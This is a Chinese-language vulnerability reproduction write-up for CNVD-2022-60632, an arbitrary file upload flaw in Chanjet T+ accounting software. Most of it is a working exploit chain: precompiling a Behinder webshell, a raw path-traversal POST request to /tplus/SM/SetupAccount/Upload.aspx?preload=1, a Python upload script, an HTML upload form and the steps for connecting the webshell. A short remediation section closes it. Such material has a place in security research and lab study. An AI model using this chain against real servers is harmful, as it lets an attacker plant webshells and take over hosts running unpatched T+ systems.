一、环境安装h2
https://www.chanjetvip.com/product/goods/download-list?id=53aaa40295d458e44f5d3ce5
选择17.0
https://dad.chanapp.chanjet.com/TplusYZHJ17.0.zip
建议选择迅雷下载。解压后选择标准版安装
⚠安全软件需关闭
过程中需要配置MSSQL 数据库的。不设置即可
二、漏洞分析h2
略
三、漏洞复现h2
漏洞信息:h3
- 漏洞编号:CNVD-2022-60632
- 适用版本:
<=v17.0 - 漏洞类型:任意文件上传
- 漏洞危害:可实现RCE获取主机权限
- 涉及接口:/tplus/SM/SetupAccount/Upload.aspx?preload=1
漏洞利用h3
1、预编译aspx文件h4
使用Microsoft.NET的aspnet_compiler.exe预编译webshell文件
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe -v / -p "E:\学习ing\2022\vul\畅捷通 T+任意文件上传漏洞\b1" "E:\学习ing\2022\vul\畅捷通 T+任意文件上传漏洞\b2" -fixednames-p 代表webshell的目录。 C:\Users\administrator\Desktop\2 代表预编译文件保存目录。(不可为同一目录)
以冰蝎webshell的aspx文件为例,复制到1文件夹下,执行上述命令,即可在2文件夹bin目录下看到:
2、compiled文件上传h4
POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1Host: 192.168.199.134Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYltContent-Length: 504
------WebKitFormBoundarywwk2ReqGTj7lNYltContent-Disposition: form-data; name="File1";filename="../../../bin/load.aspx.cdcab7d2.compiled"Content-Type: image/jpeg
<?xml version="1.0" encoding="utf-8"?><preserve resultType="3" virtualPath="/load.aspx" hash="62838a9aa" filehash="1eb3b21218d7" flags="110000" assembly="App_Web_load.aspx.cdcab7d2" type="ASP.load_aspx"> <filedeps> <filedep name="/load.aspx" /> </filedeps></preserve>------WebKitFormBoundarywwk2ReqGTj7lNYlt--使用burpsuite抓包重放如下请求
3、dll文件上传h4
方法一:Python上传h5
这里需使用 Python 模拟 multipart/form-data 请求,Python代码如下
# coding: utf-8import requestsimport re
def upload_dll(): files = { 'File1': ('../../../bin/App_Web_load.aspx.cdcab7d2.dll', open('C:\\Users\\administrator\\Desktop\\2\\bin\\App_Web_load.aspx.cdcab7d2.dll', 'rb'), 'image/jpeg') } response = requests.post(url=upload_url, headers=headers, files=files) print(response.text) if response.status_code == 200 and re.search('无标题页', response.text) != None: check_url = 'http://192.168.199.134/tplus/load.aspx?preload=1' check_res = requests.get(url=check_url, headers=headers) print(re.search('错误信息(.*)(?=堆栈是)', check_res).group())
if __name__ == '__main__': # 上传链接 upload_url = 'http://192.168.199.134/tplus/SM/SetupAccount/Upload.aspx?preload=1' # 请求头 headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36' }
upload_dll()上传完成之后访问如下链接验证webshell:
http://192.168.199.134/tplus/load.aspx?preload=1
如果出现错误信息:文件“/tplus/load.aspx”不存在。则表示上传失败
方法二:html表单上传h5
尝试构造本地HTML表单,burp拦截进行文件上传
dllupload.html
<form action="http://192.168.199.134/tplus/SM/SetupAccount/Upload.aspx?preload=1" method="post" enctype="multipart/form-data"> <div><input type="file" name="File1"></div> <div><input type="submit" value="上传"></div></form>发现compiled文件可以正常上传,但是dll文件上传后会无法连接,尝试访问shell地址,发现报如下错误信息。
经过多次进行测试验证,最终找到问题根源。burp拦截上传dll请求时,需要将字体改为默认字体(consolas),不然保存的文件内容和源文件内容不一样。
4、webshell链接h4
使用webshell工具链接上述地址
一定要加preload=1 这个。不然他还是走了验证的通道
四、修复方案h2
- 官方补丁, https://www.chanjetvip.com/product/goods/goods-detail?id=53aaa40295d458e44f5d3ce5
- WAF拦截,由于这是一个常规的上传漏洞,很多waf都是有默认的拦截能力的,需要的话也可以将
/tplus/SM/SetupAccount/Upload.aspx路径进行主动拦截。
参考链接
Comments